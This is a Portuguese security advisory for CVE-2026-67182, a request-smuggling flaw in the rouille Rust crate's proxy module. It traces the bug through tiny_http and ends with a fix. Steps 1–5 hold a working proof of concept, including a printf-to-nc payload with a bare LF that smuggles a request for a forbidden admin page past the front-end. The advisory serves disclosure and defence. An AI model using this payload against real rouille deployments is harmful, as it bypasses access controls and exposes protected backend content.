
Aviso de Segurança: Contrabando de Requisições HTTP Permite Bypass do Controle de Acesso do Front-End (rouille)
ID CVE atribuído: CVE-2026-67182
rouille::proxy::proxy e rouille::proxy::full_proxy copiam os valores de cabeçalhos de requisição fornecidos pelo cliente para a conexão a montante (upstream) sem verificar se contêm caracteres de controle. Um valor de cabeçalho pode legitimamente conter uma quebra de linha isolada (0x0A), pois o parser de cabeçalhos do tiny_http subjacente só encerra uma linha de cabeçalho em CRLF. Backends que aceitam um LF isolado como terminador de linha portanto leem uma requisição do front-end como duas.
A segunda requisição é totalmente controlada pelo atacante, incluindo método e caminho, e nunca passa pelo handler do rouille que decidiu fazer o proxy da primeira. O corpo da resposta dela também é devolvido ao atacante.
URL do repositório: https://github.com/tomaka/rouille
| Primeira versão afetada | 0.3.3 (2016-12-03), a versão que introduziu src/proxy.rs |
| Última versão afetada | 3.6.2 (2023-04-24), a versão atual |
| Não afetadas | 0.3.2 e anteriores, que não possuem módulo de proxy |
| Corrigida em | nenhuma versão corrigida até o momento desta escrita |
Toda versão publicada de 0.3.3 a 3.6.2 contém o código sem modificações. O arquivo src/proxy.rs é byte a byte idêntico entre a tag 3.6.2 e o branch master atual.
Somente aplicações que chamam proxy::proxy ou proxy::full_proxy são afetadas.
CWE-444 (Interpretação Inconsistente de Requisições HTTP), alcançada por meio de CWE-113 (Neutralização Incorreta de Sequências CRLF em Cabeçalhos HTTP).
Pontuação base CVSS 4.0: 6.9 (Média)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:H/SI:L/SA:N
O atacante é um cliente remoto não autenticado que pode enviar HTTP bruto a um servidor rouille. Não são necessárias credenciais, interação do usuário nem posição na rede entre os componentes.
A implantação em risco é uma aplicação rouille atuando como proxy reverso que toma uma decisão de segurança (roteamento, autenticação, autorização ou filtro de conteúdo) antes de chamar proxy(), à frente de um backend cujo parser HTTP aceita um LF isolado como terminador de linha de cabeçalho.
Comportamento medido dos backends:
| Backend | Versão testada | Aceita o LF injetado |
|---|---|---|
Go net/http | go1.26.4 | sim, atende a requisição contrabandeada |
Python http.server (protocol_version = "HTTP/1.1") | CPython 3.13 | sim, atende a requisição contrabandeada |
| Node.js | v26.3.0 | não, retorna 400 (modo estrito do llhttp) |
| Servidor embutido do PHP | 8.5.8 | não, encerra a conexão |
nginx e Apache não foram testados. A seção 2.2 da RFC 9112 permite que um receptor reconheça um LF isolado como terminador de linha; portanto, os backends que aceitam estão se comportando dentro da especificação.
rouille/src/proxy.rs, linhas 157 a 174:
157 for (header, value) in request.headers() {
158 let value = if header == "Host" {
159 if let Some(ref replace) = config.replace_host {
160 &**replace
161 } else {
162 value
163 }
164 } else {
165 value
166 };
167 if header == "Connection" {
168 continue;
169 }
170
171 socket.write_all(format!("{}: {}\r\n", header, value).as_bytes())?;
172 }
173 socket.write_all(b"Connection: close\r\n\r\n")?;
174 io::copy(&mut data, &mut socket)?;
A linha 171 é o ponto vulnerável (sink). value não é confiável e é escrito sem nenhuma validação.
A contaminação (taint) entra por meio do tiny_http. Em tiny_http-0.12.0/src/client.rs, linhas 80 a 102, uma linha de cabeçalho só termina quando um LF segue um CR:
92 if byte == b'\n' && prev_byte_was_cr {
93 buf.pop(); // removing the '\r'
94 return AsciiString::from_ascii(buf)
95 .map_err(|_| IoError::new(ErrorKind::InvalidInput, "Header is not in ASCII"));
96 }
97
98 prev_byte_was_cr = byte == b'\r';
99
100 buf.push(byte);
Um LF isolado chega à linha 100 e é colocado no buffer da linha. LF é ASCII válido, então AsciiString::from_ascii o aceita. Header::from_str, na linha 184 de tiny_http-0.12.0/src/common.rs, então apenas faz trim do valor, removendo os espaços em branco do início e do fim, mas deixando os bytes internos intactos:
187 let field = elems.next().and_then(|f| f.parse().ok()).ok_or(())?;
188 let value = elems
189 .next()
190 .and_then(|v| AsciiString::from_ascii(v.trim()).ok())
191 .ok_or(())?;
O resultado é um valor de cabeçalho do rouille contendo um \n cru, que a linha 171 de proxy.rs escreve diretamente na requisição a montante.
Connection: close na linha 173 não contém o dano. A linha em branco injetada encerra a primeira requisição antes que a linha 173 seja executada; portanto, esse cabeçalho é absorvido pela requisição contrabandeada. A primeira requisição não carrega cabeçalho Connection e usa o padrão HTTP/1.1 keep-alive, que é exatamente o que permite ao backend continuar e processar a segunda.
Passo 1. Crie um diretório raiz de documentos no backend com um arquivo público e um arquivo que o proxy deve proteger.
mkdir -p /tmp/webroot/public
echo "PUBLIC PAGE" > /tmp/webroot/public/index.html
echo "SECRET ADMIN PAGE" > /tmp/webroot/admin.html
Passo 2. Inicie um backend keep-alive na porta 8001.
cd /tmp/webroot
python3 -c '
import http.server, socketserver, sys
class H(http.server.SimpleHTTPRequestHandler):
protocol_version = "HTTP/1.1"
def log_message(self, f, *a):
sys.stderr.write("[backend] " + (f % a) + "\n"); sys.stderr.flush()
socketserver.TCPServer.allow_reuse_address = True
socketserver.TCPServer(("127.0.0.1", 8001), H).serve_forever()
'
Passo 3. Inicie o front-end rouille na porta 8000. Ele encaminha /public/ via proxy e recusa todo o resto.
use rouille::{proxy, Response};
fn main() {
rouille::start_server("127.0.0.1:8000", |request| {
if !request.url().starts_with("/public/") {
return Response::text("forbidden").with_status_code(403);
}
proxy::full_proxy(request, proxy::ProxyConfig {
addr: "127.0.0.1:8001", replace_host: None,
}).unwrap()
});
}
Passo 4. Confirme que o controle de acesso funciona.
printf 'GET /admin.html HTTP/1.1\r\nHost: x\r\nConnection: close\r\n\r\n' | nc 127.0.0.1 8000
HTTP/1.1 403 Forbidden
Passo 5. Envie uma única requisição para o caminho permitido com um LF isolado dentro do valor de um cabeçalho. No comando abaixo, \n é uma quebra de linha isolada e \r\n é um CRLF. A distinção é o ataque inteiro; portanto, não deixe um editor normalizá-la.
printf 'GET /public/index.html HTTP/1.1\r\nHost: x\r\nX-Bait: a\n\nGET /admin.html HTTP/1.1\nHost: x\nX-End: 1\r\n\r\n' | nc 127.0.0.1 8000
Resultado. O log do backend mostra duas requisições, sendo a segunda o caminho que o front-end recusou no passo 4:
[backend] "GET /public/index.html HTTP/1.1" 200 -
[backend] "GET /admin.html HTTP/1.1" 200 -
O atacante também recebe o conteúdo protegido, pois a linha 224 de src/proxy.rs transforma o restante do socket a montante no corpo da resposta:
HTTP/1.1 200 OK
Content-type: text/html
Transfer-Encoding: chunked
d7
PUBLIC PAGE
HTTP/1.1 200 OK
Content-type: text/html
Content-Length: 18
SECRET ADMIN PAGE
Um cliente não autenticado pode emitir uma requisição arbitrária para o backend e ler sua resposta, enquanto o handler do rouille só vê a requisição permitida. Isso anula o controle de acesso baseado em caminho, a autenticação realizada no handler e qualquer inspeção de requisição realizada antes da chamada a proxy().
Dois limites merecem ser mencionados. proxy() abre uma nova conexão TCP por requisição e não faz pool de conexões; portanto, isso não proporciona o envenenamento de fila de requisições entre usuários associado ao contrabando clássico. O ataque também exige um backend tolerante a LF, conforme medido acima.
Rejeite nomes e valores de cabeçalho que contenham caracteres de controle antes de escrevê-los a montante. Em src/proxy.rs, dentro do loop na linha 157:
if header.bytes().any(|b| b < 0x21 || b == 0x7f)
|| value.bytes().any(|b| b == b'\r' || b == b'\n' || b == 0)
{
return Err(ProxyError::HttpParseError);
}